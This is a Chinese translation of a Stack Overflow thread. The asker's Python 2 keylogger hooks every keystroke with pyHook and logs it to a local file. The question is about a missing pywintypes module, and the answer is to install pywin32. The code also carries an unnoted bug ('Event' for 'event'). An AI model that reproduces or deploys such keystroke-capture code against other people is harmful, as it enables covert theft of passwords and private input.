我正在使用pyhook、pythoncom和pywin32模块,用python制作一个小的键盘记录器。这是我的代码:

import pyHook, pythoncom, sys, logging

file_log = 'C:\\important\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(Event.Ascii))
    return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

运行时,返回此错误消息:
 File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
    import pywintypes
ImportError: No module named pywintypes

如何修复此错误?

最佳答案

pywintypesPython for Windows extensions的一部分,否则称为pywin32。您需要安装它才能访问pywintypes
请注意,在撰写本文时,pywin32的维护人员不会将文件上载到pypi,因此您必须从http://pywin32.sf.net获取适当版本的安装程序。

关于python - ImportError:没有名为pywintypes的模块,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/18907889/

10-11 08:45